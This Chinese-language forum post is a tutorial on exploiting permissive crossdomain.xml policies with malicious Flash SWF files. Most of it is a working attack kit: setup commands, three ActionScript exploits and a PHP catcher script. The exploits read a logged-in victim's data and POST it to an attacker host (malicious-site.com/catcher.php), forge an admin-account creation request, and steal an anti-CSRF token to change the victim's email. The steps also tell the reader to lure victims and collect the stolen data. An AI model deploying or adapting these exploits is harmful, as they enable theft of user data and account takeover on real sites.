服务器大本营

 找回密码
 我要入营

QQ登录

只需一步,快速开始

查看: 5|回复: 0

crossdomain.xml文件配置不当利用手法

[复制链接]

7万

敬重

788

主题

207

精华

管理员

积分
8777

启航之章进阶之印里程之碑突破之证飞跃之星蜕变之勋卓越之路龙年行大运

QQ
发表于 昨天 15:53 | 显示全部楼层 |阅读模式

我要入营,结交更多好友,开启更多功能,轻松玩转服务器大本营!

您需要 登录 才可以下载或查看,没有账号?我要入营

x
不恰当的crossdomain.xml配置对存放了敏感信息的域来说是具有很大风险的,可能导致敏感信息被窃取和请求伪造。攻击者不仅仅可以发送请求,还可以读取服务器返回的信息。这意味着攻击者可以获得已登录用户可以访问的任意信息,甚至获得anti-csrf token。

追溯历史
这是一个很古老的漏洞了。有多老呢,已经有8年了。在计算机领域,8年真的很长很长了。下面是一个粗略的crossdomian.xml漏洞的时间表。

2006: Chris Shiflett、Julien Couvreur和 Jeremiah Grossman 开始公开讨论这个漏洞。
2008: Jeremiah Grossman 再一次分析这个问题。
2010: Erlend Ofedel 和  Mike Bailey 在Blackhat DC上演讲这个议题。
2011: FORTH-ICS、SAP Research和 UC San Diego 都发布了关于crossdomain.xml的研究报告和错误配置可能引起的安全风险。

虽然这个问题在06年就提出来了,在11年的时候有了好几个优秀的paper来研究这个问题,但是这个漏洞从来没有引起足够的重视。下面是2014年3月google相关的关键字时可以搜索到的信息。

对于crossdomain.xml配置不当的危害很多文章已经说的很清楚了。可是如何利用这个漏洞,怎样写一个exploit来证明漏洞确一直没有很好的资料。直到2013年8月Gursev Kalra写了一篇博客并分享了他的利用代码。

漏洞分析
笼统来说,如果一个站点符合下面3个条件,就会存在crossdomain.xml引起的安全风险。

1、一个站点的根节点下存在crossdomain.xml文件。
2、crossdomain.xml的配置是过度授权的,比如本文开头截图中的配置。
3、目标站点上存在敏感数据或者可以在目标站点上执行一些敏感操作。

如果目标站点满足条件1和2,但是对方没有存储敏感信息,也不能执行一些敏感的操作,那么配置不当的crossdomain.xml也引起不了严重的危害。但是如果目标站点存在敏感信息或者具备敏感操作,那么不恰当的配置就相当于对任意站点上的恶意SWF敞开了大门。举个例子,这时候一个www.fake-freebuf.com域下的swf可以绕过同源策略,访问www.freebuf.com域上一个授权用户可以访问的任意信息。

漏洞利用
终于来到最有意思的部分了。首先配置测试环境,下面是在kali linux 下配置mxmlc的环境,用来编译swf。如果你是Windows系统可以直接下载flex sdk。已经有flash开发环境的同学可以略过这部分。

1、安装adobe flex:
  1. apt-get install openjdk-6-jdk
  2. mkdir /opt/flex
  3. wget http://download.macromedia.com/pub/flex/sdk/flex_sdk_4.6.zip
  4. unzip flex_sdk_4.6.zip
  5. chmod -R a+rx /opt/flex/   >> ~/.bashrc
  6. chmod 755 bin/mxmlc
复制代码

2、获取
  1. mkdir /var/www/crossdomain
  2. mkdir ~/crossdomain  ~
  3. git clone https://github.com/gursev/flash-xdomain-xploit.git
  4. cp flash-xdomain-xploit/xdx.html /var/www/crossdomain/
  5. cp flash-xdomain-xploit/XDomainXploit.as ~/crossdomain/
  6. vi ~/crossdomain/XDomainXploit.as
复制代码

如果没有安装git的话,可以使用wget下载:
  1. /var/www/crossdomain
  2. wget https://raw.github.com/gursev/flash-xdomain-xploit/master/xdx.html
  3.   ~/crossdomain
  4. wget https://raw.github.com/gursev/flash-xdomain-xploit/master/XDomainXploit.as
  5. vi ~/crossdomain/XDomainXploit.as
复制代码

3、修改actionscript,满足自己的需求。对于简单的get请求如下,只需要修改自己的victim URL和attacker URL。使用粗体标出。
  1. // POC Author: Gursev Singh Kalra ([email]gursev.kalra@foundstone.com[/email])// XDomainXploit.aspackage { import flash.display.Sprite;

  2. import flash.events.*;

  3. import flash.net.URLRequestMethod;

  4. import flash.net.URLRequest;

  5. import flash.net.URLLoader;
  6. public class XDomainXploit extends Sprite {  public function
  7. XDomainXploit() {   // Target URL from where the data is to be retrieved

  8.    var readFrom:String = "http://www.secret-site.com/account/info";

  9.    var readRequest:URLRequest = new URLRequest(readFrom);   var getLoader:URLLoader = new URLLoader();

  10.    getLoader.addEventListener(Event.COMPLETE, eventHandler);   try {

  11.     getLoader.load(readRequest);

  12.    } catch (error:Error) {    trace("Error loading URL: " + error);

  13.    }

  14.   }  private function eventHandler(event:Event):void {   // URL to which retrieved data is to be sent

  15.    var sendTo:String = "http://malicious-site.com/catcher.php"

  16.    var sendRequest:URLRequest = new URLRequest(sendTo);

  17.    sendRequest.method = URLRequestMethod.POST;

  18.    sendRequest.data = event.target.data;

  19.    var sendLoader:URLLoader = new URLLoader();   try {

  20.     sendLoader.load(sendRequest);

  21.    } catch (error:Error) {    trace("Error loading URL: " + error);

  22.    }

  23.   }

  24. }
  25. }
复制代码

如果需要发送post请求,并修改http header的话,可以使用下面的代码。
  1. // POC Author: Gursev Singh Kalra ([email]gursev.kalra@foundstone.com[/email])
  2. // POC Modified to send POSTs and append HTTP headers: Seth Art
  3. // XDomainXploit.aspackage { import flash.display.Sprite; import flash.events.*; import flash.net.URLRequestMethod; import flash.net.URLRequest; import flash.net.URLLoader; import flash.net.URLRequestHeader; public class XDomainXploit3 extends Sprite {  public function XDomainXploit3() {   // Target URL from where the data is to be retrieved

  4.    var readFrom:String = "https://www.secret-site.com/admin/add";   
  5.    var header:URLRequestHeader = new URLRequestHeader("Content-Type", "text/plain; charset=UTF-8");   
  6.    var readRequest:URLRequest = new URLRequest(readFrom);   
  7.    readRequest.method = URLRequestMethod.POST

  8.    readRequest.data = "{"name":"CSRF-Admin","Group":"admin","password":"password","confirmPassword":"password"}";   
  9.    readRequest.requestHeaders.push(header);   var getLoader:URLLoader = new URLLoader();   getLoader.addEventListener(Event.COMPLETE, eventHandler);   
  10.    try {    getLoader.load(readRequest);   } catch (error:Error) {    trace("Error loading URL: " + error);   }  }  
  11.    private function eventHandler(event:Event):void {   
  12.    // URL to which retrieved data is to be sent   var sendTo:String = "http://www.malicious-site.com/crossdomain/catcher.php"   var sendRequest:URLRequest = new URLRequest(sendTo);   sendRequest.method = URLRequestMethod.POST;   sendRequest.data = event.target.data;   var sendLoader:URLLoader = new URLLoader();   try {    sendLoader.load(sendRequest);   } catch (error:Error) {    trace("Error loading URL: " + error);   }  } }}
复制代码

4、使用mxmlc编译actionscript。
  1. /opt/flex/bin/mxmlc ~/crossdomain/
复制代码

5、将swf文件放在自己的web目录下。
  1. mv ~/crossdomain/XDomainXploit.swf /var/www/crossdomain
复制代码

6、创建用来接受敏感信息的文件。
  1. vi /var/www/catcher.php
  2. <?php

  3. $data = file_get_contents("php://input");
  4. $ret = file_put_contents('/tmp/thanks_for_sharing.txt',
  5. $data, FILE_APPEND | LOCK_EX);
  6. if($ret === false) { die('Error writing to file');}else {
  7. echo "$ret bytes written to file";}?>
复制代码

7、如果没有php环境的话需要安装php。
  1. apt-get install php5
复制代码

8、设置服务器支持ssl。

这步不是必须的,但是在 secure="false"没有设置的话,我们就只能从https网站加载swf了。

下面的命令是。更奢侈的伪装是买一个有效的证书,这样用户就不会收到ssl 错误的提示了。
  1. make-ssl-cert generate-default-snakeoil --force-overwrite
  2. a2enmod ssl
  3. a2ensite default-ssl
复制代码

9、启动或者重启web服务器。
  1. /etc/init.d/apache2 restart
复制代码

10、欺骗用户访问恶意网站

11、祈祷你的目标用户处于登陆状态。

12、收集和分析你窃取到的数据
  1. cat /tmp/thanks_for_sharing.txt
复制代码
上面两个poc的功能都是窃取数据,在分析crossdomain.xml配置不当危害的时候,我们提到某些场景可以获取到anti-csrf token来绕过csrf防御。下面是一段在真实的网站中使用的代码,先是通过访问含有csrf token的页面,从返回信息中获取到token,再发送更改绑定邮箱的请求。
  1. // Original POC Author: Gursev Singh Kalra ([email]gursev.kalra@foundstone.com[/email])
  2. // Modified to bypass antiCSRF tokens: Seth Art ([email]sethsec@gmail.com[/email])
  3. // BypassCSRFchangeEmailAddress.aspackage {
  4. import flash.display.Sprite;
  5. import flash.events.*;
  6. import flash.net.URLRequestMethod;
  7. import flash.net.URLRequest;
  8. import flash.net.URLLoader;

  9. public class BypassCSRFchangeEmailAddress extends Sprite {
  10.   public function BypassCSRFchangeEmailAddress() {
  11.    // Target URL from where the data is to be retrieved
  12.    var readFrom:String = "https://www.secret-site.com/account/edit";
  13.    var readRequest:URLRequest = new URLRequest(readFrom);
  14.    var getLoader:URLLoader = new URLLoader();
  15.    getLoader.addEventListener(Event.COMPLETE, eventHandler);
  16.    try {
  17.     getLoader.load(readRequest);
  18.    } catch (error:Error) {
  19.     trace("Error loading URL: " + error);
  20.    }
  21.   }


  22.   private function eventHandler(event:Event):void {
  23.    // This assigns the reponse from the first

  24.    // request to "reponse". The antiCSRF token is
  25.    // somwhere in this reponse
  26.    var response:String = event.target.data;

  27.    // This line looks for the line in the response

  28.    //that contains the CSRF token
  29.    var CSRF:Array = response.match(/CSRFToken.*/);

  30.    // This line extracts the value of the CSRF token,

  31.    // and assigns it to "token"
  32.    var token:String = CSRF[0].split(""")[2];

  33.    // These next two lines create the prefix and the

  34.    // suffix for the POST request
  35.    var prefix:String = "CSRFToken="
  36.    var suffix:String = "&first_name=CSRF&last_name=CSRF&email=sethsec%40gmail.com"

  37.    // This section sets up a new URLRequest object and

  38.    // sets the method to post   
  39.    var sendTo:String = "https://www.secret-site.com/account/edit/"
  40.    var sendRequest:URLRequest = new URLRequest(sendTo);
  41.    sendRequest.method = URLRequestMethod.POST;

  42.    // This next line sets the data portion of the POST

  43.                         // request to the "prefix" + "token" + "suffix"
  44.    sendRequest.data = prefix.concat(token,suffix)
  45.    
  46.    // Time to create the URLLoader object and send the

  47.    // POST request containing the CSRF token
  48.    var sendLoader:URLLoader = new URLLoader();
  49.    try {
  50.     sendLoader.load(sendRequest);
  51.    } catch (error:Error) {
  52.     trace("Error loading URL: " + error);
  53.    }
  54.   }
  55. }}
复制代码

感谢您的阅读,服务器大本营-技术文章内容集合站,助您成为更专业的服务器管理员!
一入IDC深似海,从此你我是良人!
您需要登录后才可以回帖 登录 | 我要入营

本版积分规则

点击直接加入[服务器大本营QQ频道]
滴!摸鱼时间到~
Loading...

QQ|Archiver|手机版|网站地图|服务器大本营 ( 赣ICP备2021009089号 )

GMT+8, 2025-7-4 01:06 , Processed in 0.057818 second(s), 24 queries , Gzip On.

Powered by 服务器大本营

© 2021-2023 联系飞飞

快速回复 返回顶部 返回列表